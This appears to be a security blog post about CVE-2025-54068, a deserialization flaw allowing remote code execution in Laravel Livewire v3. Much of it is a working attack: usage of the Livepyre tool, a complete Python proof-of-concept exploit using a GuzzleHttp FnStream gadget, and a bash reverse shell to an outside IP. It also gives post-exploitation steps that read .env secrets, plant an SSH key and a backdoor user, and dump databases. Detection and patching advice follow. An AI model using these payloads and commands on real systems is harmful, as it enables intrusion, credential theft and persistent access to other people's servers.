When CVE-2025-54068 dropped in July 2025, it sent shockwaves through the Laravel community. This wasn't just another vulnerability. It was a critical RCE affecting one of Laravel's most popular frameworks, Livewire, potentially impacting over 130,000 applications worldwide.
What made it particularly dangerous? No authentication needed. No user interaction required. Just a crafted payload and boom, remote code execution.
Let's break down how this vulnerability works and how attackers are exploiting it in the wild.
What Went Wrong
Livewire v3 has this neat feature where it syncs component state between your browser and server. It "dehydrates" the state on the server, sends it to your browser, then "rehydrates" it when you interact with the component. Think of it like pickling and unpickling data, except someone figured out how to slip poison into the jar.
The problem lived in the hydrateForUpdate method. When processing property updates, Livewire wasn't properly validating what it was deserializing. Researchers at Synacktiv discovered they could smuggle malicious PHP objects through this mechanism, bypassing the APP_KEY signature entirely.
Affected Versions: Livewire 3.0.0-beta.1 through 3.6.3
CVSS Score: 9.2 (Critical)
Patch: Version 3.6.4+
The Attack Surface
Here's what makes this exploitable. Your target needs Livewire v3 installed with at least one component mounted on a page. That's it. The component doesn't need to be doing anything fancy, even a basic counter component works.
You don't need credentials. You don't need the user to click anything. If they're running an unpatched version, they're vulnerable.
Exploitation with Livepyre
Synacktiv released Livepyre, a Python tool that automates the entire exploitation process. It handles version detection, snapshot extraction, and payload delivery.
Getting Started
1git clone https://github.com/synacktiv/Livepyre.git
2cd Livepyre
3pip install -r requirements.txt
4chmod +x Livepyre.pyBasic Attack Without APP_KEY
1./Livepyre.py -u http://target.com/counterThe tool detects the Livewire version, finds available snapshots, and attempts exploitation. Successful output looks like this:
1[INFO] The remote livewire version is v3.6.2, the target is vulnerable.
2[INFO] Running exploit without APP_KEY.
3[INFO] test is typed as an object, triggering RCE.
4[INFO] Payload works, output: uid=33(www-data) gid=33(www-data)Running Custom Commands
1# Check current user
2./Livepyre.py -u http://target.com/counter -f system -p "whoami"
3
4# Extract sensitive data
5./Livepyre.py -u http://target.com/counter -f system -p "cat .env"
6
7# Establish reverse shell
8./Livepyre.py -u http://target.com/counter -f system -p "bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"With APP_KEY
If you've obtained the APP_KEY from leaked .env files, GitHub commits, or misconfigured servers
1./Livepyre.py -u http://target.com/counter -a 'base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA='This method works even on patched versions if the APP_KEY is compromised.
Advanced Options
1# Add custom headers
2./Livepyre.py -u http://target.com/counter -H "Cookie: session=abc123"
3
4# Route through proxy for testing
5./Livepyre.py -u http://target.com/counter -P http://127.0.0.1:8080
6
7# Debug mode
8./Livepyre.py -u http://target.com/counter -dManual Exploitation
Sometimes you need to understand what's happening under the hood. Here's how to exploit this vulnerability manually.
Step 1: Version Detection
Check the Livewire version through the JavaScript cache buster:
1curl -s http://target.com | grep -oP 'livewire.js\?v=\K[a-f0-9]+'Step 2: Find Components
Locate Livewire components on the target:
1curl -s http://target.com | grep -oP 'wire:id="[^"]+"'Step 3: Extract Snapshots
Pull the snapshot data from the page:
1import base64
2import json
3import re
4
5response = requests.get('http://target.com')
6match = re.search(r'wire:snapshot="([^"]+)"', response.text)
7
8if match:
9 snapshot = json.loads(base64.b64decode(match.group(1)))
10 print(json.dumps(snapshot, indent=2))A typical snapshot looks like this:
1{
2 "data": {
3 "count": 0,
4 "test": null
5 },
6 "memo": {
7 "id": "counter-component",
8 "name": "counter"
9 },
10 "checksum": "abc123..."
11}Step 4: Craft the Payload
The exploit leverages PHP object deserialization with GuzzleHttp gadgets:
1def create_exploit(command):
2 return {
3 "class": "GuzzleHttp\\Psr7\\FnStream",
4 "s": {
5 "close": ["system", command]
6 }
7 }
8
9payload = {
10 "snapshot": json.dumps(snapshot),
11 "updates": [
12 {
13 "type": "syncInput",
14 "payload": {
15 "id": "exploit",
16 "name": "exploit",
17 "value": create_exploit("id")
18 }
19 }
20 ],
21 "calls": []
22}Step 5: Execute
Send the crafted payload to the Livewire update endpoint:
1import requests
2
3response = requests.post(
4 'http://target.com/livewire/update',
5 json=payload,
6 headers={'Content-Type': 'application/json'}
7)
8
9print(response.text)Complete Exploit Script
Here's a working proof of concept:
1#!/usr/bin/env python3
2import requests
3import json
4import base64
5import re
6
7class LivewireExploit:
8 def __init__(self, target_url):
9 self.target = target_url
10 self.session = requests.Session()
11
12 def get_snapshot(self):
13 response = self.session.get(self.target)
14 match = re.search(r'wire:snapshot="([^"]+)"', response.text)
15
16 if match:
17 return json.loads(base64.b64decode(match.group(1)))
18 return None
19
20 def exploit(self, command="id"):
21 snapshot = self.get_snapshot()
22 if not snapshot:
23 print("[-] No snapshot found")
24 return
25
26 payload = {
27 "snapshot": json.dumps(snapshot),
28 "updates": [{
29 "type": "syncInput",
30 "payload": {
31 "id": "x",
32 "name": "x",
33 "value": {
34 "class": "GuzzleHttp\\Psr7\\FnStream",
35 "s": {"close": ["system", command]}
36 }
37 }
38 }],
39 "calls": []
40 }
41
42 r = self.session.post(
43 f"{self.target}/livewire/update",
44 json=payload
45 )
46
47 print(f"[+] Response: {r.text}")
48
49if __name__ == "__main__":
50 exploit = LivewireExploit("http://target.com")
51 exploit.exploit("whoami")Post-Exploitation
Once you've got code execution, here's what comes next.
Persistence
1# Add SSH key
2./Livepyre.py -u http://target.com/counter -p "echo 'ssh-rsa AAAA...' >> ~/.ssh/authorized_keys"
3
4# Create backdoor user
5./Livepyre.py -u http://target.com/counter -p "useradd -m -s /bin/bash backdoor && echo 'backdoor:password' | chpasswd"Privilege Escalation
1# Check sudo rights
2./Livepyre.py -u http://target.com/counter -p "sudo -l"
3
4# Find SUID binaries
5./Livepyre.py -u http://target.com/counter -p "find / -perm -4000 2>/dev/null"Data Extraction
1# Dump database credentials
2./Livepyre.py -u http://target.com/counter -p "cat /var/www/.env | grep DB_"
3
4# Extract user data
5./Livepyre.py -u http://target.com/counter -p "mysqldump -u dbuser -p'password' database > /tmp/dump.sql"Detection Indicators
Network Signatures
Watch for these patterns in your web traffic:
- Large POST requests to
/livewire/update - JSON payloads containing PHP class names like
GuzzleHttp\Psr7\FnStream - Base64-encoded data with suspicious object structures
- Unusual patterns in the
updatesarray
Log Analysis
1# Check Apache/Nginx logs
2grep "POST /livewire/update" /var/log/nginx/access.log | grep "GuzzleHttp"
3
4# Monitor PHP error logs
5tail -f /var/log/php-fpm/error.log | grep -i "fnstream"System Indicators
- Unexpected processes running as
www-data - New files in
/tmpor web directories - Modified
.envfiles - Unusual cron jobs
- New SSH keys in authorized_keys
Mitigation
Immediate Actions
Upgrade Livewire to version 3.6.4 or higher right now. Don't wait.
1composer update livewire/livewire
2composer show livewire/livewire # Verify versionRemember, Livewire might be installed as a dependency through Filament or other packages. Check with:
1composer why livewire/livewire --treeLong-Term Defense
- Implement WAF rules to block malicious hydration payloads
- Use strict type checking on all component properties
- Treat your APP_KEY like nuclear launch codes
- Regular security audits and penetration testing
- Monitor Livewire traffic for anomalies
The Bottom Line
CVE-2025-54068 is a critical vulnerability that every Laravel developer needs to understand. Even with the patch, the architectural risk remains if your APP_KEY leaks. This exploit demonstrates how modern frameworks can introduce unexpected attack vectors through features like property hydration. For organizations needing help identifying vulnerabilities like this or conducting comprehensive security assessments, Egnworks provides penetration testing, red team operations, and cybersecurity consulting services across Asia.
Disclaimer: This article is for educational and authorized security testing only. Unauthorized access to systems is illegal. Always get proper authorization before testing.

